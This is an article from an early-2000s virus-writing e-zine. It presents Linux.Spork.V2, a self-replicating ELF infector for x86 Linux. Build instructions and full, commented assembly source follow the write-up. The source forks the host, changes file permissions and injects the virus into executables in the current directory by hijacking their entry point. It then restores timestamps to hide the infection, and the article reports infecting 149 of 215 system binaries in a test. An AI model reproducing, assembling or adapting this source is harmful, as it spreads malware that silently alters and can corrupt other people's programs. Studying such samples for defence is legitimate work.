 /* ----------------------------------------------------------------------- )=-
 -=( Natural Selection Issue #1 ---------------------------- Linux.Spork.V2 )=-
 -=( ---------------------------------------------------------------------- )=-

 -=( 0 : Linux.Spork.V2 Features ------------------------------------------ )=-

 Imports:       Nothing
 Infects:       ELF   executables  with   accessible  permissions   in  current
                directory (ie:  r/w group  or other, or file  ownership), strip
                safe
 Locates:       Recursively fills a static buffer with directory information
 Compatability: Linux 2.2 - 2.4+ Kernels [Possibly 2.0 also]
 Saves Stamps:  Of course
 MultiThreaded: Yes,  forks  host  into a  child  process  and  after doing   a
                infection round, sleeps until the  host terminates, and catches
                it,  to return to Linux gracefully
 Polymorphism:  No
 AntiAV / EPO:  Under Linux?  Haw haw :)
 SEH Abilities: No (Linux doesn't crash)
 Payload:       None

 -=( 1 : Linux.Spork.V2 Design Goals -------------------------------------- )=-

 : Create a simple virus to learn Linux assembly language programming
 : Plan a simple  but effective ELF  infection method covering  majority of ELF
   ELF types and is strip safe
 : Mark ELFs that have  been processed but are  unable to be infected,  so that
   they can be skipped in further generations
 : To implement a simple fork() so that the virus runs in a process, while  the
   host does its own thing

 It took  one week  from beginning  using Linux  assembly language  to making a
 working virus from it.  That was  Linux.Spork, which was insanely lost only  a
 few hours after it was finished, to a lightning strike, with no backups.

 There is nothing sadder than outliving your virus, a perfect child that  never
 had a chance to propogate anywhere before it was obliterated.

 However,  after 2  days of  wild coding  later, reconstructing  it just  from
 memory, Linux.Spork V2 rises from the grave to take its place.  FS can rebuild
 you.  Make you better.  Stronger.  Faster.

 -=( 2 : Linux.Spork.V2 Design Faults ------------------------------------- )=-

 Most of the infection time is  probably spent on expanding / truncating  a lot
 of  files, even  if they're  already infected,  this could  be sped  up by  a
 multiple open / close redesign.

 Fork process is not perfect.  If  the virus is the 'child' process,  then when
 the  host  exit()'s  the  virus  could  be  caught  mid-infection  and  end up
 corrupting a file.

 So Linux.Spork V2 spawns the host  as the child process, which means  that its
 Process ID's show up in the listings as seperate threads.

 Also,  if  the  host  finishes before  Linux.Spork  V2  is  finished with  the
 directory,  the  user is  left  waiting until  it's  finished.  This  needs  a
 redesign in the directory handling code.

 -=( 3 : Linux.Spork.V2 Benchmarking -------------------------------------- )=-

 A test was  run to see  what kind of  speed the virus  had in infecting  large
 directories, to  be improved  on in  later families.   A mix  of ELf / non-ELF
 files were copied, and mixed with an infected copy of 'ls'.

 Files           : /usr/bin/[abcde]*
                   215 Files @ 18.064M
 Uninfected LS   : real    0m0.037s
                   user    0m0.030s
                   sys     0m0.000s
 Infected LS 1   : real    0m0.171s
                   user    0m0.110s
                   sys     0m0.020s
 Infected LS 2   : real    0m0.059s
                   user    0m0.010s
                   sys     0m0.030s
 Result          : 149 / 215 Files Infected @ 18.660M


 -=( 4 : Linux.Spork.V2 Disclaimer ---------------------------------------- )=-

 THE CONTENTS OF  THIS ELECTRONIC MAGAZINE  AND ITS ASSOCIATED  SOURCE CODE ARE
 COVERED UNDER THE BELOW TERMS AND CONDITIONS.  IF YOU DO NOT AGREE TO BE BOUND
 BY THESE TERMS AND CONDITIONS, OR  ARE NOT LEGALLY ENTITLED TO AGREE  TO THEM,
 YOU MUST DISCONTINUE USE OF THIS MAGAZINE IMMEDIATELY.

 COPYRIGHT
 Copyright on  materials in  this  magazine  and  the  information  therein and
 their  arrangement is owned by FEATHERED SERPENTS  unless otherwise indicated.

 RIGHTS AND LIMITATIONS
 You have  the  right  to use,    copy and  distribute  the  material in   this
 magazine free   of  charge,  for  all   purposes  allowed  by your   governing
 laws.  You    are expressly  PROHIBITED   from   using the  material contained
 herein  for   any   purposes  that   would   cause    or would    help promote
 the illegal   use of the material.

 NO WARRANTY
 The  information   contained within   this  magazine  are  provided  "as  is".
 FEATHERED    SERPENTS     do    not    warranty    the     accuracy, adequacy,
 or   completeness     of     given  information,  and    expressly   disclaims
 liability   for   errors   or   omissions    contained  therein.   No implied,
 express, or statutory  warranty, is given  in conjunction with  this magazine.

 LIMITATION OF LIABILITY
 In *NO* event will FEATHERED SERPENTS or any of its MEMBERS be liable for  any
 damages  including  and  without  limitation,  direct  or  indirect,  special,
 incidental,  or  consequential  damages,   losses,  or  expenses  arising   in
 connection with this magazine, or the use thereof.

 ADDITIONAL DISCLAIMER
 Computer viruses will spread of their own accord between computer systems, and
 across international boundaries.  They are raw animals with no concern for the
 law, and for that reason your possession of them makes YOU responsible for the
 actions they carry out.

 The viruses provided in this magazine are for educational purposes ONLY.  They
 are NOT intended for use in  ANY WAY outside of strict, controlled  laboratory
 conditions.  If compiled and executed these viruses WILL land you in court(s).

 You will be held responsible for your actions.  As  source code these  viruses
 are  inert  and   covered   by   implied  freedom   of  speech   laws  in some
 countries.  In  binary form  these viruses  are malicious  weapons.  FEATHERED
 SERPENTS do not condone the application of these viruses and will NOT be  held
 LIABLE for any MISUSE.

 -=( 4 : Win32.Imports Compile Instructions ------------------------------- )=-

 as 2.11.90.0.5 and ld 2.11.90.0.5

 as [--gstabs]  -o spork.o  linux.s spork.s
 ld             -o spork            spork.o


 -=( 5 : Linux.Spork.V2 --------------------------------------------------- )*/

.global     _start
.text                               # All hail gas style directives :)

_start:
    # Put a $0 on the stack for us to overwrite later with the entrypoint of
    # the host.  Lots of hosts will rely on the entry registers and flags to
    # determine which Linux kernel they are running under, so we save those.
    #
    pushl   $0
    pushal
    pushfl
    call    _delta

_delta:
    # Calculate our delta offset, then subtract where we are in memory from
    # where we expected to be in memory, to get a relocation value, then we
    # add it to the host entrypoint and overwrite the $0 on the stack so we
    # can return to it later.
    #
    popl    %ebp
    subl    $(_delta - _start), %ebp
    movl    %ebp,               %ebx
    movl    %ebp,               %esi

    subl    $(_start),          %ebp
    subl    file_virus_entrypoint(%ebp),%esi
    addl    file_hosts_entrypoint(%ebp),%esi
    movl    %esi,               (9*4)(%esp)

    # Fork the host out to a copy of this process.  I'm not sure how much of
    # the memory space is 'copied' compared to 'shared', but that should be
    # looked into later.  See the comments for why we fork the host and not
    # the virus.
    #
    # pid_t fork(void);
    #
    movl    $__NR_fork,         %eax
    int     $0x80
    testl   %eax,               %eax
    jz      return
    pushl   %eax

    # As we don't set any section flags [in order to stay anonymous], we'll
    # manually tweak our memory settings so that they're writeable.  Note,
    # that we rarely start on a page boundary, and so we need to change two
    # pages, which we overlap.
    #
    # int mprotect(const void *addr, size_t len, int prot);
    #
    movl    $__NR_mprotect,     %eax
    andl    $0xfffff000,        %ebx
    movl    $(PAGE_SIZE*2),     %ecx
    movl    $(PROT_READ|PROT_WRITE|PROT_EXEC),  %edx
    int     $0x80

    # Open the current directory like a file, so we can use another call to
    # read in file/directory entries stored inside.
    #
    # int open(const char *pathname, int flags);
    #
    movl    $__NR_open,         %eax
    leal    dir_infect(%ebp),   %ebx
    movl    $(O_RDONLY),        %ecx
    int     $0x80
    movl    %eax,               dir_handle(%ebp)

directory_fill:
    # Start / continue filling in our buffer with entries from this directory
    # handle.  We can repeat this call over and over until it returns 0 for a
    # end of directory.
    #
    # int getdents(unsigned int fd, struct dirent *dirp, unsigned int count);
    #
    movl    $__NR_getdents,     %eax
    movl    dir_handle(%ebp),   %ebx
    leal    dir_buffer(%ebp),   %ecx
    movl    $DBUF_SIZE,         %edx
    int     $0x80
    testl   %eax,               %eax
    js      waiter
    jz      waiter
    movl    %eax,               dir_length(%ebp)
    leal    dir_buffer(%ebp),   %ebx

directory_loop:
    # Using the name of this entry in the directory, grab a bunch of status
    # information, then make sure it's a file and not a device or socket or
    # other strange object, before we continue.
    #
    # int stat(const char *file_name, struct stat *buf);
    #
    pushl   %ebx

    movl    $__NR_stat,         %eax
    leal    dirent.d_name(%ebx),%ebx
    leal    file_status(%ebp),  %ecx
    int     $0x80
    testl   %eax,               %eax
    js      directory_next

    testl   $(S_IFREG),         (file_status+stat.st_mode)(%ebp)
    jz      directory_next

    # Here we'll change the status information file mode to give us just the
    # normal flags [which will be used later to restore them with the chmod
    # interrupt], and try to chmod them to o+rw.  If you were anal, we could
    # check to see if we owned the file before we did this, but it will fail
    # harmlessly anyway.
    #
    # int chmod(const char *path, mode_t mode);
    #
    movl    $__NR_chmod,        %eax
    andl    $(S_ISUID|S_ISGID|S_ISVTX|S_IRWXU|S_IRWXG|S_IRWXO), (file_status+stat.st_mode)(%ebp)
    movl    (file_status+stat.st_mode)(%ebp),  %ecx
    orl     $(S_IRUSR|S_IWUSR), %ecx
    int     $0x80

    # Open the file for reading and writing.  Restore attributes if it fails.
    #
    # int open(const char *pathname, int flags);
    #
    pushl   %ebx

    movl    $__NR_open,         %eax
    movl    $(O_RDWR),          %ecx
    int     $0x80
    testl   %eax,               %eax
    js      file_restcmo
    movl    %eax,               %ebx

    # Seek to the end of the file.
    #
    # off_t lseek(int fildes, off_t offset, int whence);
    #
    movl    $__NR_lseek,        %eax
    xorl    %ecx,               %ecx
    movl    $SEEK_END,          %edx
    int     $0x80

    # Append bytes to the file that our virus will fit into if necessary.  We
    # need to do this here, because the mmap call won't expand files for us.
    #
    # ssize_t write(int fd, const void *buf, size_t count);
    #
    movl    $__NR_write,        %eax
    leal    _start(%ebp),       %ecx
    movl    $PAGE_SIZE,         %edx
    int     $0x80
    cmpl    $PAGE_SIZE,         %eax
    jne     file_restore

    # The mmap call takes 6 parameters, so instead of passing with registers
    # we create a structure and fill it in, and pass that instead.  This is
    # changing in the Linux 2.4 kernels I think, but this way will still be
    # supported for a long while yet [I hope].
    #
    # void * mmap(void  *start, size_t length, int prot, int flags, int fd,
    #             off_t offset);
    #
    pushl   %ebx

    movl    (file_status+stat.st_size)(%ebp),   %eax
    addl    $PAGE_SIZE,         %eax
    movl    %eax,               (file_memmap+mmap.length)(%ebp)
    movl    %ebx,               (file_memmap+mmap.fd)(%ebp)

    movl    $__NR_mmap,         %eax
    leal    file_memmap(%ebp),  %ebx
    int     $0x80
    testl   %eax,               %eax
    js      file_truncer

    # Sanity Check #1: Is it an Executable ELF Version 1?
    #
    #
    cmpl    $ELFMAG,            (EI_MAG0)(%eax)
    jne     file_mmunmap
    cmpb    $EV_CURRENT,        (EI_VERSION)(%eax)
    jne     file_mmunmap
    cmpl    $EV_CURRENT,        (Elf32_Ehdr.e_version)(%eax)
    jne     file_mmunmap
    cmpw    $ET_EXEC,           (Elf32_Ehdr.e_type)(%eax)
    jne     file_mmunmap

    # Sanity Check #2: Is it in Intel 32 bit i386 format?
    #
    cmpb    $ELFCLASS32,        (EI_CLASS)(%eax)
    jne     file_mmunmap
    cmpb    $ELFDATA2LSB,       (EI_DATA)(%eax)
    jne     file_mmunmap
    cmpw    $EM_386,            Elf32_Ehdr.e_machine(%eax)
    jne     file_mmunmap

    # Sanity Check #3: Has it been processed or infected?
    #                  If not mark it as being processed.
    #
    # ".NO."    =   0x 2E 4E 4F 2E
    #
    cmpl    $0,                 (EI_PAD)(%eax)
    jne     file_mmunmap
    movl    $0x2e4f4e2e,        (EI_PAD)(%eax)

    # Grab information from the Program Header, and prepare for a loop through
    # each PT_LOAD.
    #
    movl    Elf32_Ehdr.e_phoff(%eax),   %ebx
    movzwl  Elf32_Ehdr.e_phnum(%eax),   %ecx

file_outerph:
    # We only touch PT_LOAD sections as they are the only ones that end up in
    # accessible memory, as far as I'm aware.  We make sure memory and file
    # size are the same so that we aren't overwritten by .bss information but
    # maybe in the future something can be done about that...
    #
    cmpl    $PT_LOAD,                   Elf32_Phdr.p_type(%eax,%ebx)
    jne     file_nextoph
    movl    Elf32_Phdr.p_memsz(%eax,%ebx),  %edx
    cmpl    Elf32_Phdr.p_filesz(%eax,%ebx), %edx
    jne     file_nextoph
    addl    Elf32_Phdr.p_vaddr(%eax,%ebx),  %edx

    # Now we have our suggested virtual address in memory, prepare for the
    # second loop through the Program Header.
    #
    pushl   %ebx
    pushl   %ecx
    movl    Elf32_Ehdr.e_phoff(%eax),   %ebx
    movzwl  Elf32_Ehdr.e_phnum(%eax),   %ecx
    xorl    %edi,                       %edi

file_innerph:
    # Loop through, sorting the PT_LOAD sections and looking for the one
    # that follows on closest from the one selected in the outer loop.
    #
    cmpl    $PT_LOAD,                   Elf32_Phdr.p_type(%eax,%ebx)
    jne     file_nextiph
    cmpl    Elf32_Phdr.p_vaddr(%eax,%ebx),  %edx
    ja      file_nextiph
    cmpl    Elf32_Phdr.p_vaddr(%eax,%ebx),  %edi
    ja      file_nextiph
    movl    %ebx,                           %esi
    movl    Elf32_Phdr.p_vaddr(%eax,%ebx),  %edi

file_nextiph:
    pushl   %eax
    movzwl  Elf32_Ehdr.e_phentsize(%eax),   %eax
    addl    %eax,                           %ebx
    popl    %eax
    loop    file_innerph

    # Make sure we found a following section, although this could also be
    # slightly tweaked to infect 'last' sections, they'd be rare.
    #
    popl    %ecx
    popl    %ebx
    testl   %edi,                           %edi
    jz      file_nextoph

    # If the sections have PAGE_SIZE or more between the end of one and the
    # start of the other, we have space to insert.
    #
    pushl   %edi
    subl    $PAGE_SIZE,                     %edi
    cmpl    %edx,                           %edi
    popl    %edi
    jae     file_matchph

    # Alternatively, if there is less than PAGE_SIZE between the sections,
    # but a load-time PAGE_SIZE alignment between the two, we also have a
    # space to insert to.
    #
    pushl   %edx
    andl    $0xfffff000,                    %edi
    andl    $0xfffff000,                    %edx
    cmpl    %edx,                           %edi
    popl    %edx
    jb      file_nextoph
    cmpl    $PAGE_SIZE,                     Elf32_Phdr.p_align(%eax,%esi)
    je      file_matchph

file_nextoph:
    # Continue looping through the Program Header looking for sections to
    # insert after.  If we don't find any, we'll leave the file and it is
    # truncated at the exit.  Also, we left our ".NO." tag so that it is
    # not attempted for infection again, hopefully saving some time.
    #
    pushl   %eax
    movzwl  Elf32_Ehdr.e_phentsize(%eax),   %eax
    addl    %eax,               %ebx
    popl    %eax
    loop    file_outerph
    jmp     file_mmunmap

file_matchph:
    # Change the file mark to be 'infected'.  Although we could keep it as a
    # 'already processed' mark, this lets me keep track of infected files on
    # my own system.
    #
    # Save the original entrypoint and replace it with ours, then discover
    # the end of this section in the file, and update our section with the
    # new memory and file sizes.
    #
    # ".FS."    =   0x 2E 46 53 2E
    #
    movl    $0x2e53462e,        EI_PAD(%eax)

    pushl   Elf32_Ehdr.e_entry(%eax)
    popl    file_hosts_entrypoint(%ebp)
    movl    %edx,               Elf32_Ehdr.e_entry(%eax)
    movl    %edx,               file_virus_entrypoint(%ebp)

    movl    Elf32_Phdr.p_offset(%eax,%ebx), %edx
    addl    Elf32_Phdr.p_filesz(%eax,%ebx), %edx

    addl    $PAGE_SIZE,         Elf32_Phdr.p_filesz(%eax,%ebx)
    addl    $PAGE_SIZE,         Elf32_Phdr.p_memsz(%eax,%ebx)

file_updatep:
    # Loop through the Program Header and update any file offsets that are
    # equal to or after our insertion point.  Once we are finished, then I
    # do a check to make sure the Program Header itself isn't past us too,
    # in which case we update it also.
    #
    # Updating is just moving things to point 'forward' $PAGE_SIZE bytes.
    #
    movl    Elf32_Ehdr.e_phoff(%eax),   %ebx
    movzwl  Elf32_Ehdr.e_phnum(%eax),   %ecx

0:  cmpl    Elf32_Phdr.p_offset(%eax,%ebx), %edx
    ja      1f
    addl    $PAGE_SIZE,                 Elf32_Phdr.p_offset(%eax,%ebx)
1:  movzwl  Elf32_Ehdr.e_phentsize(%eax),   %esi
    addl    %esi,                       %ebx
    loop    0b

    cmpl    Elf32_Ehdr.e_phoff(%eax),   %edx
    ja      file_updates
    addl    $PAGE_SIZE,                 Elf32_Ehdr.e_phoff(%eax)

file_updates:
    # Do the same thing with the Section Header, updating file offsets of
    # sections as well as the Section Header itself if necessary [and it
    # is almost always necessary].
    #
    movl    Elf32_Ehdr.e_shoff(%eax),   %ebx
    movzwl  Elf32_Ehdr.e_shnum(%eax),   %ecx
    xorl    %edi,                       %edi

0:  # While we are parsing, sort out the section with the highest address
    # in file, before reaching ours [ignore SHT_NOBITS ones, they don't
    # actually count for any file space].
    #
    cmpl    $SHT_NOBITS,                Elf32_Shdr.sh_type(%eax,%ebx)
    je      1f
    cmpl    $0,                         Elf32_Shdr.sh_size(%eax,%ebx)
    je      1f

    cmpl    Elf32_Shdr.sh_offset(%eax,%ebx),%edx
    jbe     1f
    cmpl    Elf32_Shdr.sh_offset(%eax,%ebx),%edi
    ja      1f
    movl    %ebx,                           %esi
    movl    Elf32_Shdr.sh_offset(%eax,%ebx),%edi

1:  cmpl    Elf32_Shdr.sh_offset(%eax,%ebx),%edx
    ja      2f
    addl    $PAGE_SIZE,                 Elf32_Shdr.sh_offset(%eax,%ebx)

2:  pushl   %eax
    movzwl  Elf32_Ehdr.e_shentsize(%eax),   %eax
    addl    %eax,               %ebx
    popl    %eax
    loop    0b

    # If we found a section before ours which can account for spaces in
    # the file space, then we increase it to include us, which makes us
    # strip safe.
    #
    testl   %edi,               %edi
    jz      3f
    addl    $PAGE_SIZE,         Elf32_Shdr.sh_size(%eax,%esi)

3:  cmpl    Elf32_Ehdr.e_shoff(%eax),   %edx
    ja      file_arrange
    addl    $PAGE_SIZE,                 Elf32_Ehdr.e_shoff(%eax)

file_arrange:
    # Move to the end of the original file, and copy every byte that is
    # after our insertion point, to the end of the new file, going all
    # the way backwards to where we will insert.  We have to do it like
    # this so parts of the file don't overwrite itself.
    #
    movl    (file_status+stat.st_size)(%ebp),   %ecx

    leal    (PAGE_SIZE-1)(%eax,%ecx),   %edi
    leal    -1(%eax,%ecx),              %esi
    subl    %edx,                       %ecx

    std
    rep     movsb

    # Now insert the virus.  We could save a few bytes in both of these rep
    # movsb calls, but we kept it like this for clarity to see what's going
    # on.
    #
    movl    $PAGE_SIZE,                 %ecx
    leal    _start(%ebp),               %esi
    leal    (%eax,%edx),                %edi
    cld
    rep     movsb

    # Add the size of the virus to the size used to truncate the file in a
    # moment.  This way, we aren't cut out.
    #
    addl    $PAGE_SIZE,         (file_status+stat.st_size)(%ebp)

file_mmunmap:
    # Commit the whole memory map to file.  Note that if we didn't write the
    # $PAGE_SIZE bytes to the end before we mapped, these bytes be lost with
    # no warning.  I learned that the hard way.  Damn you POSIX.
    #
    # int munmap(void *start, size_t length);
    #
    movl    $__NR_munmap,       %ebx
    xchg    %ebx,               %eax
    movl    (file_memmap+mmap.length)(%ebp),    %ecx
    int     $0x80

file_truncer:
    # Truncate file to appropriate size.  That is, either the original size,
    # or the modified new size if we infected the file.
    #
    # int ftruncate(int fd, off_t length);
    #
    popl    %ebx

    movl    $__NR_ftruncate,    %eax
    movl    (file_status+stat.st_size)(%ebp),   %ecx
    int     $0x80

file_restore:
    # Close the file handle.
    #
    # int close(int fd);
    #
    movl    $__NR_close,        %eax
    int     $0x80

file_restcmo:
    # Restore the time and date stamps.  There is one more stamp, the ctime
    # or changetime stamp, which can't be changed from user mode as far as
    # I know.
    #
    # int utime(const char *filename, struct utimbuf *buf);
    #
    popl    %ebx

    movl    $__NR_utime,        %eax
    pushl   (file_status+stat.st_atime)(%ebp)
    pushl   (file_status+stat.st_mtime)(%ebp)
    popl    (file_stamps+utimbuf.modtime)(%ebp)
    popl    (file_stamps+utimbuf.actime)(%ebp)
    leal    file_stamps(%ebp),  %ecx
    int     $0x80

    # Reset the file attributes to their original values.  Note that we've
    # already AND'd out evil bits from the file_status structure.
    #
    # int chmod(const char *path, mode_t mode);
    #
    movl    $__NR_chmod,        %eax
    movl    (file_status+stat.st_mode)(%ebp),   %ecx
    int     $0x80

directory_next:
    # Point us to the next entry in our directory buffer.  We keep a track
    # of how many bytes we've processed to how many bytes were originally
    # filled in.  If we run out of data, we return to the getdents routine
    # to refill the buffer.
    #
    popl    %ebx
    movzwl  dirent.d_reclen(%ebx),  %eax
    addl    %eax,               %ebx
    subl    %eax,               dir_length(%ebp)
    jnz     directory_loop
    jmp     directory_fill

waiter:
    # Wait until the host finishes executing.  We saved the PID from the
    # wait call, otherwise we might find ourselves exiting when any other
    # child processes of the host finish.
    #
    # pid_t waitpid(pid_t pid, int *status, int options);
    #
    movl    $__NR_waitpid,      %eax
    popl    %ebx
    xorl    %ecx,               %ecx
    xorl    %edx,               %edx
    int     $0x80

_hosts:
    # Exit manually with the error/success code returned from the host.
    # See, viruses aren't destructive ;)  This also doubles as our first
    # generation host, ie: just an exit call.
    #
    # void _exit(int status);
    #
    movl    $__NR_exit,         %ebx
    xchgl   %ebx,               %eax
    int     $0x80

return:
    # This is never reached by the above code, only the fork() will get
    # here, popping the flags and registers off the stack and then it
    # will ret to the host address on the stack.
    #
    popfl
    popal
    ret

                        .set    DBUF_SIZE,  0x500
dir_infect:             .asciz  "."
dir_buffer:             .fill   DBUF_SIZE
dir_length:             .long   0
dir_handle:             .long   0

file_status:            .fill   stat_size
file_memmap:            .long   0,0, (PROT_READ|PROT_WRITE), (MAP_SHARED), 0,0
file_stamps:            .fill   utimbuf_size

file_virus_entrypoint:  .long   _start
file_hosts_entrypoint:  .long   _hosts

    .asciz  "[Linux.Spork.V2] Still not a perfect fork, yet :)"
    .asciz  "(c) 2001 of Feathered Serpents. Replicate freely."

    .fill   0x1000              # Extra space to make sure the virus is at
                                # least PAGE_SIZE

 /*( ---------------------------------------------------------------------- )=-
 -=( Natural Selection Issue #1 --------------- (c) 2002 Feathered Serpents )=-
 -=( ---------------------------------------------------------------------- )*/
